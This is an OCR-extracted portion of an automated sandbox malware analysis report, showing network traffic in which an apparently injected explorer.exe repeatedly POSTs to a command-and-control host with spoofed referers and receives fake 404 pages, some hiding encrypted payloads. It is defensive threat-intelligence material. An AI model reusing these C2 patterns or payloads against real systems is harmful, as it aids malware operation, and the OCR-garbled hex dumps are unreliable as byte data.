39 dc 46 77 58 dc be 91 8 3f d8 2c eb 53 43 ae 3b 97 e4 23 76 f9 14 f9 Ob 64 82 93 64 4f 55 b4 ca 5e ¢3 d5 c0 88 Ob 3d
d9 1d 69 09 de ff 3d c1 03 70 2e 6f f4 d4 6a db a9 16 da 07 22 bd c8 ac ef 3f ef b2 a9 a6 cc b4 02 47 71 f5 66 3c 3d dO 9f
ch 67 14 d8 97 24 c8 b9 fc f0 d4 e8 57 2d 88 d5 74 61 b4 7b 69 ad 66 43 80 1c b7 16 db 64 73 98 f5 51 cf 39 c5 da 87 f1
7d 87 70 f3 35 43 50 11 00 ac 07 1d 02 c1 b9 5a 97 82 fd 11 41 a6 b2 84 35 ce 39 83 ce 85 91 3e 94 d4 54 e5 2f 62 a2 22
27 ¢6 b9 0a d7 d9 1b c5 89 10 ee 8b ba d7 62 47 d8 ae 85 3a 9d 9b el d5 5 de 38 7f 98 92 ff b0 6a 05 8f a5 Oa 9f 36 6f 03
62 53 b5 8 80 99 8b 84 80 3f 1d b8 3a c0 b4 a7 a4 d0 91 46 €8 81 2f 0d 4d 76 00 94 23 94 b6 07 8 9a 4a 17 7a c5 42 14
7e 24 a0 84 ba 8b 65 7d bb 8e da 3b 33 f2 82 6¢ 27 b4 e3 e4 ce fd 5f 98 3b c4 fe da 3d 8f f5 3f 78 14 42 7b f9 e8 f0 85 a5
46 e5

Data Ascii: 1{66S(SWViP"&&grqg|6?elJ5~/ar* g1Q5ih. Kw:i/+".]pWIRY8|!@+%gt#+xQ<2P0YObyT=a'4 YU\nIXKg[Ge92)g
Z6@E}WpOMK"HI?0|6NI[LeU[0z;+W~5=PVpGZIqV@q!Uvy_:-nD%GKKm@NQ>[J8-w,v"IG0Z"?kQTIMQId%\s$&Q#F<pvA
>C/CbGB4VFVv2Bbo;6HPgyPumé'NGc_,/DO9W%J}TzI9\c=~"th"1%@NKK.iw]Ai/mv pV>"|PTZ3z[ ~z&+(1%yw*C=;5"No?hs
#9cW9IIWN7&,X2WIHY%f7-/MHg7+w&9c1P0{2%#49FWX?,SC;#vddOU"=i=p.0j"?Gaf<=g$W-ta{ifCdsQ9}p5CPZA59>T/b"bG
:8j60bS?:F/IMv#JIzB~$e};3I'_;=?xB{F

Destination IP Destination Port Process
185.98.87.159 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://hfhoss.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 268

Host: hajezeyl.top

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 29 Oct 2021 18:29:43 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 30 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c¢ 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 72657373 3e41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e Oa 3c 2f 62 6f 64
79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at hajezeyl.top Port 80</address></body></htm|>0

Destination IP Destination Port Process

185.98.87.159 80 C:\Windows\explorer.exe
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kBytes

Timestamp transferred

Oct 29, 2021 2139
20:29:43.854120016 CEST

Oct 29, 2021 2140
20:29:43.934627056 CEST

Session ID Source IP
17 192.168.2.7

kBytes
Timestamp transferred
Oct 29, 2021 2140

20:29:44.016474009 CEST

Oct 29, 2021 2141
20:29:44.097450018 CEST

Session ID Source IP
18 192.168.2.7

kBytes
Timestamp transferred
Oct 29, 2021 2142

20:29:44.185791969 CEST

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49769

Direction

ouT

Source Port
49770

Direction
ouT

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://hgdpvgs.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 142

Host: hajezeyl.top

HTTP/1.1 200 OK

Server: nginx/1.20.1

Date: Fri, 29 Oct 2021 18:29:43 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0

Connection: close

Destination IP Destination Port Process

185.98.87.159 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://ryqdxjurg.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 280

Host: hajezeyl.top

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 29 Oct 2021 18:29:44 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 30 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 72657373 3e41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e Oa 3c 2f 62 6f 64
79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at hajezeyl.top Port 80</address></body></htmI|>0

Destination IP  Destination Port Process

185.98.87.159 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://jjrxemk.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 173

Host: hajezeyl.top
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kBytes
Timestamp transferred

Oct 29, 2021 2144
20:29:44.264659882 CEST

Session ID Source IP
19 192.168.2.7

kBytes
Timestamp transferred
Oct 29, 2021 2676

20:29:46.453360081 CEST

Oct 29, 2021 2677
20:29:46.533122063 CEST

Session ID Source IP

2 192.168.2.7

Copyright Joe Security LLC 2021

Direction

IN

Source Port
49771

Direction
ouT

Source Port

49778

Data

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 29 Oct 2021 18:29:44 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5¢ 2f 8f 69 c1 50 22 ec 26 d8 al e7 26 67 Ob 72 90 86 ec d2 ca
71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9¢ 22 60 1b d6 88 67 al c2
8a 3151 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 3 77 b3 6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88
e05d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 el 94 52 ea 59 9b 93 e2 86 38 f8 f3 a4 7c d8 21 bd 40 8f 8¢ f5 cf 9b 2b 25 9b
6 ba €9 1a b0 1c 67 74 d2 5f 9f 87 cd 29 80 78 51 al a2 8f 4c 3d d8 1c e0 32 02 50 08 e8 df e2 30 a5 59 93 9b b7 4f f3 e0
€6 62 79 04 54 ea d6 d7 Oc 3d 61 1f 27 f4 d2 af 34 91 b4 b9 el 8a 20 59 55 11 5¢ 03 25 6e ab 49 11 a0 c8 58 4b 67 13 d2
18 5b 47 86 65 39 15 32 29 c5 7 15 67 aa cf 20 c0 7a 9f 06 a2 7f c1 96 98 8b 36 5d ca cc 8a 44 d8 06 Oe 45 67 14 7d 63
fb e0 04 89 f9 d4 57 80 90 70 89 ec 24 4d 6b Oe el a2 22 48 32 da 49 al ff be ff 1f fd f5 3f f4 6f d3 7c cb 36 d2 ce 4e 49 b3
0Ob 5b 4c 65 55 5b ad 30 7a 83 3b 2b ca c3 e3 b2 ec 92 90 0Of 1c 57 ee 87 7e Oc 35 8a 3d 50 7f d0 56 81 b6 9b 97 96 70 9of
8a 86 €8 47 5a ad b2 cb 99 6¢ 71 11 87 02 b1 b8 56 b0 40 f6 0a bf 8b 71 91 ce 21 b5 1e 55 df 76 79 83 97 5f 96 da 19 d1
3a 2d 12 44 06 02 25 47 c2 fa 6b 8a b2 e2 4b 6d ec c0 40 a4 e2 d0 d7 d9 86 4e 85 8b 51 b0 3e 5b f3 7d 87 4a 04 38 cd 78
14 2c de e8 b1 14 ¢5 76 10 22 17 4a 86 47 30 5a 22 a2 3f Ob 8e 6b 51 fd b5 54 02 f9 ee f8 b2 d6 4a 1f a7 €9 4d 51 c2 49
64 cd 25 5¢ 8d b7 1d 24 O0c 26 17 51 d2 eb €9 23 19 9d 46 3c 70 76 41 ae a6 c3 88 3e 9d 43 dd 17 fe 2f 43 9e 8 d8 62 47
42 a5 32 b2 be 34 56 9b 46 76 99 86 11 00 83 32 42 62 6e c9 ae d4 15 95 36 el 48 50 67 7e 50 b8 81 be €5 81 de e3 75
6d 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ec f8 b9 5f 14 2c f2 6 2f bd 44 ef bf 8b 4f dc ea 90 39 02 97 ab a4 57 25 f5 b8
d0 a7 df f2 4a 0b 7d 54 7a 9c 6¢ 39 c0 al Oc 5¢ 19 d6 63 95 be 07 3d da 9a 7e 05 22 7d e6 b2 68 60 b9 10 31 eb cd fc 25
15 8e b7 82 7f 8e 40 b6 f1 b8 4e al 21 7b 88 4b 2e 69 81 77 af 5d c6 83 41 69 2f 14 b6 e8 95 19 6d 76 d6 60 83 70 56 3e
0f 60 7c aa 9f 50 54 Oc f3 a6 eb 5a ed 33 bd 8a f1 7a 5b b4 18 20 5e 7a 14 7 f2 26 2b e9 c4 ef 28 e8 98 eb e7 6¢ ba 25 8f
fc da 14 79 a2 8e b9 08 90 bb 77 c6 19 2a 16 bf 43 b3 ea 3d b2 13 3b 35 02 1a 1b eb 22 f5 4e ad e8 16 83 83 6f d4 ed 3f
ecc9 8168730299 eafccdc305d0 93 d3 233901 c4a5c863 77 da0b af bd d9 39 69 al 99 9c 77 e8 Of 4e 8c da 06
b9 37 87 8c b4 26 b8 2¢c 58 32 77 6¢ 08 da f9 d2 eb 48 25 66 37 2d 2f f2 5e a5 27 48 84 89 ff 67 37 f9 bd al 97 2b 86 3 bd
98 bb 1f 77 ¢7 26 e1 39 c6 86 8e f0 09 af 63 9d 31 09 a8 50 13 30 7b 32 8c c9 el d5 c0 e5 0f 25 93 23 ¢4 1d d7 cf 8e 34
39 dc 46 77 58 dc be 91 8 3f d8 2c eb 53 43 ae 3b 97 e4 23 76 f9 14 f9 Ob 64 82 93 64 4f 55 b4 ca 5e ¢3 d5 c0 88 Ob 3d
d9 1d 69 09 de ff 3d c1 03 70 2e 6f f4 d4 6a db a9 16 da 07 22 bd c8 ac ef 3f ef b2 a9 a6 cc b4 02 47 71 f5 66 3c 3d dO 9f
ch 67 14 d8 97 24 c8 b9 fc f0 d4 e8 57 2d 88 d5 74 61 b4 7b 69 ad 66 43 80 1c b7 16 db 64 73 98 f5 51 cf 39 c5 da 87 f1
7d 87 70 f3 35 43 50 11 00 ac 07 1d 02 c1 b9 5a 97 82 fd 11 41 a6 b2 84 35 ce 39 83 ce 85 91 3e 94 d4 54 e5 2f 62 a2 22
27 ¢6 b9 0a d7 d9 1b c5 89 10 ee 8b ba d7 62 47 d8 ae 85 3a 9d 9b el d5 5 de 38 7f 98 92 ff b0 6a 05 8f a5 Oa 9f 36 6f 03
62 53 b5 8 80 99 8b 84 80 3f 1d b8 3a c0 b4 a7 a4 d0 91 46 €8 81 2f 0d 4d 76 00 94 23 94 b6 07 8 9a 4a 17 7a c5 42 14
7e 24 a0 84 ba 8b 65 7d bb 8e da 3b 33 f2 82 6¢ 27 b4 e3 e4 ce fd 5f 98 3b c4 fe da 3d 8f f5 3f 78 14 42 7b 9 e8 f0 85 a5
46 e5

Data Ascii: 1f66S(SWViP"&&grqg|6?elJ5~/ar* g1Q5ih.Kw:i/+".]pWIRY8|!@+%gt_)xQL=2P0YObyT=a'4 YU\%nIXKg[Ge92)g
Z6]DEg}cWp$MK"H21?0|6NI[LeU[0z;+W~5=PVpGZIqV@q!Uvy_:-D%GKKm@NQ>[}J8x,v"IG0Z"?kQTIMQId%\$&Q#F
<pvA>C/CbGB24VFv2Bbn6HPg~Pum6'NGc_,/DO9W%J}TzI9\c=~"th"1%@NKK.iw]Ai/mv pV>"|PTZ3z[ "z&+(1%yw*C=;5"N
0?hs#9cw9iWNT7&, X2wIH%f7-/""Hg7+w&9c1P0{2%#49FwWX?,SC;#vddOU"=i=p.0j"?Gqf<=g$W-ta{ifCdsQ9}p5CPZA59>T/b
"'bG:8j60bS?:FIMv#JzB~$e};3I'_;=?xB{F

Destination IP Destination Port Process
185.98.87.159 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://efeydity.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 347

Host: hajezeyl.top

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 29 Oct 2021 18:29:46 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 30 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c¢ 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 72657373 3e41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e Oa 3c 2f 62 6f 64
79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at hajezeyl.top Port 80</address></body></htm|>0

Destination IP Destination Port Process

162.159.129.233 443 C:\Users\user\AppData\Local\Temp\C1B2.exe
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kBytes

Timestamp transferred
Session ID Source IP
20 192.168.2.7

kBytes
Timestamp transferred
Oct 29, 2021 2677

20:29:47.233247042 CEST

Oct 29, 2021 2679
20:29:47.312364101 CEST

Session ID Source IP
21 192.168.2.7

kBytes
Timestamp transferred
Oct 29, 2021 4203

20:29:51.351222992 CEST

Copyright Joe Security LLC 2021

Direction

Source Port

49772

Direction

ouT

Source Port
49775

Direction
ouT

Data

Destination IP Destination Port Process

185.98.87.159 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://glvsini.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 328

Host: hajezeyl.top

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 29 Oct 2021 18:29:47 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 66 36 36 0d Oa 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 al e7 26 67 Ob 72 90 86 ec d2 ca
71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9¢c 52 60 1b d6 88 67 al c2
8a 3151 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88
e05d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 el 94 52 ea 59 9b c3 a7 86 38 b4 f2 a7 7c 2d f0 3a cb 8f 8c f5 cf 9b 2b 25 9b
16 ba eb 1b bb 1d 57 74 d2 eb 98 87 cd 23 80 78 51 al a2 8f d2 ee df 1c e0 12 02 50 08 08 d8 e2 30 a5 19 93 9b 97 4f {3
e0e4 62 79 00 54 ea d6 d7 Oc 3d 61 19 27 f4 d2 af 34 91 b4 b9 c1 82 20 59 57 11 5¢ 7c 3b 66 ab 4b 11 c0 4d 58 4b 77 13
d2 08 5b 47 86 65 29 15 32 39 c5 7 45 22 aa cf 7c c1 7f 9f fc b7 a8 9f 96 98 8b 36 19 19 cb 8a f3 d8 05 0f 4e 86 19 7d 6f
ab el 04 89 63 7a 55 80 90 70 89 7f c8 4a 6b b6 e2 a2 22 48 42 d3 49 ad ff fc ff 1f ed f5 3f f4 6d d3 7c ce 36 d3 ce 4e 49
b3 Ob 5e 4c 64 55 5b ad 30 7a 83 9b 84 c8 c3 e7 b2 ec 1c el Oc 1c 55 ee 87 fe Oc 35 9a 3d 50 6f dO 56 81 96 8b 97 9e 60
9f 8a 86 €8 47 5a bd b2 cb 99 64 51 11 87 4a b1 b8 56 ec ef f7 0a 83 8b 71 91 e0 75 7e 64 19 a0 77 79 27 24 58 96 da 39
d1 3a2d a6 43 06 02 27 47 c2 fa 6b 8a b2 e2 4b 6d ec 00 31 a5 e2 ec d7 d9 e6 60 f7 f8 23 d3 3e 5b f3 71 81 4a 04 38 2d
7f 14 2c d6 e8 b1 14 73 71 10 fa 82 4b 86 07 30 5a 22 a2 3f Ob 8e 2b 51 fd f5 7a 00 9d 82 ef dO d6 4a 13 a7 €9 4d 51 c2
41 64 cd 27 5¢ 8d b7 a3 23 0c 26 17 51 d2 eb €9 23 19 b3 32 59 08 42 41 ae e4 36 dd 3f 9d 43 cd 17 fe 2f 15 9f {8 d8 66
47 42 25 el b5 be 34 56 9b 46 3e 99 86 11 22 83 37 22 ec 68 aa cf 04 2a 95 36 56 0f 50 67 74 20 b9 87 6 f4 81 de bb 34
6b 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ac f8 b9 1f 3a 48 93 92 4e bd 44 ef fb c9 e3 de ea 50 38 02 97 bl a4 57 25 57
b9 d0 ea 85 62 4a 08 7d 54 7a 98 6¢ 39 c0 le f3 5¢ d9 40 00 fc ce 6e 47 b3 9a 4c 07 22 7d e6 a2 c6 62 b9 14 31 eb cd 40
24 15 8e b7 82 7f 8e 40 b6 f1 b8 4e al 21 3b 88 4b 6e 47 f3 04 dd be c6 83 41 5f 4f af b8 e8 01 be a2 57 ee 60 87 bd b7
6b 67 09 Of 8a ef 22 3b 6b 81 c7 86 7a 8e 12 d3 e4 de Oe 7b d6 7d 00 2c Of 7a d7 9b 48 Ob ad 8b bc 08 85 7 8f 82 42 b7
2885 d8 da 14 79 a2 8e b9 08 c0 fe 77 c6 1d 2b 15 bf fa a5 e9 a8 b2 13 3b 35 02 1a 1b eb c2 f5 6¢ 8d e3 17 d3 83 6f ce
ed 3fec cf 81 68 73 02 99 ea a6 f5 ¢3 05 d0 b3 d3 23 39 41 c4 a5 ¢8 63 77 ca Ob 8f bd d9 39 6b al 99 98 77 e8 Of 4e 8¢
da 06 bd 37 87 8c b4 26 b8 2c 58 b2 77 6¢ 08 d8 f9 d2 eb 48 25 66 34 2d 6f 77 5e a5 37 48 84 99 ff 67 37 f9 ad al 97 3b
86 f3 bd 98 bb 1f 67 c7 26 el 39 c6 86 8e f0 09 af 63 95 09 09 a8 1f 13 30 7b 32 cc c9 el ad c3 e5 0f 25 93 23 ¢4 1d d7 cf
8e 34 39 dc 46 77 58 dc be 91 98 3f d8 2c eb 53 43 a0 Oc 97 e4 22 76 f9 14 f9 Ob 64 82 93 64 4f 55 b4 ca 5e c¢3 d5 c0 88
Ob 3d d9 1d 69 09 de ff 3d c1 03 70 2e 6f f4 d4 6a db a9 16 da 07 22 bd c8 ac cf 3f ef ba a9 a6 cc b4 02 47 71 5 66 3c 3d
d8 bf ch 67 5¢ d8 97 24 ¢8 b9 fc f0 d4 e8 57 2d a6 al 11 19 c0 7b 69 ad 06 5b 80 1c b7 36 db 64 73 82 5 51 cf 3b c5 da
87 f17d 87 70 f3 35 43 50 11 00 ac 27 1d 02 al 97 28 e4 f0 9e 11 41 a6 ca 87 35 ce 39 c3 ce 85 56 3b 38 a6 15 e4 c6 ce
a9 22 27 90 32 fb 10 df b7 b7 ¢8 10 46 15 b1 97 4c c3 f9 8c e2 58 e9 9c b7 3d ef ce 38 1f c1 19 39 ec a8 01 8f 44 ea 9b bf
6e c0 53 5b 76 cb c4 bd 8f 46 84 7f 9c b8 6a f7 5b 61 67 85 1a aa 50 f1 33 0d 4d 9e 1f ed 23 97 05 42 e0 c9 1c 9c 4a be
99 95 43 d2 7c 6¢ b8 4f 4e 7d bb ad 45 43 37 86 96 3f d8 al 7 94 8f c9 3b cb 53 94 6d 9b 3d 70 e0 53 08 55 42 da 49 3b
b1 85 2c 03 39

Data Ascii: 1f66S(SW\ViP"&&grq|6?el35~/arR’g1Q5ih. Kw:i/+".]pW!RY8|-:+%W#xQP0ObyT=a'4 YW\|;fKMXKw[Ge
)29E"|6N}oczUpJk"HBI?m|6NIALdU[0zU5=PoV GZdQJIVau~dwy'$X9:-C'GkKm1 #>[qJ8-,sqK0Z"?+QzIMQAd \#&Q#2YBAG
2C/f{GBY%4VF>"7"h*6VPgt 4k6'NGc:HNDP8W%WhJ}TZIN@nGL Ib1@$@N!;KNnGA_OW kg";kz{},zHB(yw+;5l0?h
SHIACWIKWN7&, XWIHY%6f4-ow 7Hg7;989c0{2%#49FWX?,SC"vddOUA=i=p.0}"?Gaf<=g\$W-{i[6dsQ;}p5SCP'(A59V;8" 2FLX
=89DnS|vFjlagP3M#BJC|ION}EC7?;Sm=pSUBI;,9

Destination IP Destination Port Process
185.98.87.159 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://jbxuhdvj.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 263

Host: hajezeyl.top
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kBytes
Timestamp transferred

Oct 29, 2021 4204
20:29:51.428925991 CEST

Session ID Source IP
22 192.168.2.7

kBytes
Timestamp transferred
Oct 29, 2021 4205

20:29:51.540746927 CEST

Oct 29, 2021 4205
20:29:51.622433901 CEST

Session ID Source IP
23 192.168.2.7

kBytes
Timestamp transferred
Oct 29, 2021 4206

20:29:51.711175919 CEST

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49776

Direction

ouT

Source Port
49777

Direction
ouT

Data

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 29 Oct 2021 18:29:51 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 30 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d Oa 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 72657373 3e 4170 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
